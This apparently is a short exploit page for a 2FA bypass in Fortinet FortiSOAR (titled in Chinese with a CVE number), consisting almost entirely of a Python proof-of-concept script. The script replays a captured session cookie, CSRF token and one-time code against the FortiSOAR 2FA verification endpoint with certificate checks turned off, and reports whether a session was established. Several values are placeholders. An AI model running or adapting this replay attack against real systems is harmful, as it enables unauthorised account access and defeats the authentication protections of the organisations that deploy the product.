CVE-2026-23708 Fortinet FortiSOAR 2FA绕过漏洞

import requests # Target URL (example) target_url = "https://<fortisoar_host>/api/auth/2fa/verify" # Captured Cookie and Token from intercepted traffic # Attacker obtained this by decrypting HTTPS traffic captured_headers = { "Cookie": "session_id=compromised_session_id; csrf_token=compromised_csrf", "X-CSRF-Token": "compromised_csrf", "Content-Type": "application/json" } # The payload containing the replayed 2FA code/token replay_payload = { "otp": "123456", # The valid OTP captured from the victim "token": "captured_replay_token" } try: # Replay the request before the token expires response = requests.post(target_url, headers=captured_headers, json=replay_payload, verify=False) if response.status_code == 200: print("[+] 2FA Bypass successful! Session established.") print("[+] Response:", response.json()) else: print("[-] Bypass failed. Token may be expired or invalid.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[!] Error during replay attack: {e}")